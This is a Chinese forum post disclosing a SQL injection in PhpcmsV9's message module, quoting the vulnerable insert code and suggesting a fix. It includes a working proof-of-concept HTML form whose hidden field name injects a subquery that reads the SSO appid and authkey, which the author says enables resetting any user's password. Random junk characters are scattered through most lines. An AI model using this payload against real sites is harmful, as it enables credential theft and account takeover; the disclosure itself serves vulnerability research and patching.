找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2511|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:. F/ S; z7 H3 F
; m8 |2 i8 F+ R
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。9 N% \' A. h8 H3 p; }7 k6 |: {
' @7 |7 v1 w  R4 D7 Y9 ?4 Y- N! A1 N
明天再更新下一个漏洞。; u( {6 }0 i3 }1 z
详细说明:
- l# f8 g" F2 c* e2 B在/phpcms9/phpcms/modules/message/index.php中有代码如下:( G) y4 R3 X: ~" u3 o! }" H# T
2 p2 R7 j6 ~) K  G4 M6 h
$messageid = $this->message_db->insert($_POST['info'],true);
& j/ q) G& H. x# V: `' c: T2 i8 x( g* B. g; \
# F, a" |) Z) U* ~! c! j
insert方法是key value的,代码如下:0 q2 [( g0 H  E, F9 g$ X1 h' r. J
; t. y4 s2 ?. }% o
public function insert($data, $table, $return_insert_id = false, $replace = false) {2 g4 t7 ~) t; ?- h7 Q
                if(!is_array( $data ) || $table == '' || count($data) == 0) {9 N' o/ V4 d$ K+ b
                        return false;
5 ?' t/ Z; @9 e' p* F                }
5 O1 ^1 H/ {$ {8 L3 ~) o: C+ r               
+ V* `1 E% G1 ]/ V                $fielddata = array_keys($data);
  Q6 J5 y" D8 z1 ?- f" g                $valuedata = array_values($data);5 G- x, g5 m: Q* P
                array_walk($fielddata, array($this, 'add_special_char'));7 C. t) C" K3 A  ~/ P0 |9 H  ?
                array_walk($valuedata, array($this, 'escape_string'));+ T9 y) a/ \- r  i+ w
               
. l" R2 y& e" O                $field = implode (',', $fielddata);
, D' G, U8 t' P2 D                $value = implode (',', $valuedata);; w3 }/ H$ f0 a3 B) Q/ j0 N
* p9 L1 V; V% P5 P0 R2 ]6 J( v% A
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';- v: k- x# a7 b  l2 P. w" \
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
7 ~" k6 n% C) u! j6 V  [                $return = $this->execute($sql);) w) w, u6 s* a. w
                return $return_insert_id ? $this->insert_id() : $return;
  Y- u! h/ Y" v        }
/ p! B0 |& ^, G) R
2 m9 ?) I' _. @+ i) f
3 k$ _& B3 U2 y# w# J; p嗯,很遗憾的是, l* h2 ^1 Q# ^  c
: `9 d) Y$ O( t' X
array_walk($fielddata, array($this, 'add_special_char'));
% g: `% z; G, D! y) ^2 _, O/ W
& l: ~) w  u8 d( ]/ q2 y( M# k! @& D3 [, K, a
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。: A+ {2 e4 Y; U+ x2 d" h7 O, _
! ^  v6 c# E& H& K- x5 W4 @$ E
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
7 F6 C8 ^1 a) P3 K% Z% Y0 U' ~, z8 v& J( T% j+ i
漏洞证明:
! ^* f+ E5 ~7 s+ d- I3 F读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
5 W' r) O: \2 E9 d# L4 {6 u9 V
6 y' C3 ~) j# N+ R* h8 \6 J1 ~9 R/ {5 R: D5 T
表单如下:用户名什么的得自己改一改。/ u5 a8 I" }2 }- P
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">0 C# e  R# q" S0 _% s5 j0 u% T- _$ T, c0 E& p
<table width="100%" cellspacing="0" class="table_form">
/ S1 I7 ]# r8 p<tr>  }: I- Q  P: A3 v
<th>标 题:</th>
2 l' f1 u  E/ b( g4 X7 K( i6 Y<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
. S& V* \4 X3 m- w</tr>
% t+ _3 f+ U( m) y0 O2 x, X<tr>
2 m. N0 D) x% j9 w/ ?1 A$ F<th>内 容:</th>
& B* q5 e* \, V! b<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
1 W; n6 h3 T8 _; V5 p" t- X5 B</tr>* D$ r9 n$ q6 t) K9 ~+ {- U3 k+ M
<input type="hidden" name="info[replyid]" value="2" /> 1 x6 b2 R! y6 N. p& h
<input type="hidden" name="info[send_to_id]" value="cc" /> 8 b& u6 ?5 A7 i2 |5 K. ^
<input type="hidden" name="info[send_from_id]" value="hh">" y  Z" z* K/ w! r7 `/ M
<!-- 漏洞的利用重点在这里开始 -->
  i9 O! J% K" ?+ ^9 U3 z<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> ( Z. Q3 H8 ~& y' b. i; t
<!-- 漏洞的利用重点在这里结束 -->
( f+ N) b) s( H' O<tr>
9 B+ t' T1 U: g  _% m<th>验证码:</th>/ ]& r! s9 x5 c
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>, z# m+ @. z# Z9 B- R
</tr>
: ?! |* c$ r1 X" ^+ t<tr>
3 O* O" e5 A) d4 F+ |' c! a" W<td></td>
' ^+ B# k8 N7 p! D<td colspan="2"><label>) i  j. K$ u. U9 G( e# _0 b
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>4 p0 k3 W  l7 C; ], W
</label></td>
4 v$ G6 T7 z7 b! X* a- |4 x</tr>) n& M; J9 E3 l' D9 U
</table>/ Y7 a2 c2 p/ Y+ j4 C
</form>6 i  \' x! ~% |9 L2 r0 W# Q
在add_special_char函数内对key做过滤就可以了。
  X7 d$ k4 U) H7 Q1 ^0 ^
: E- h) Q+ E- V0 M( |& a9 n) m% F( ]( q) z0 y' n8 R
3 F2 c+ K% I  q0 l6 }+ V. q

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表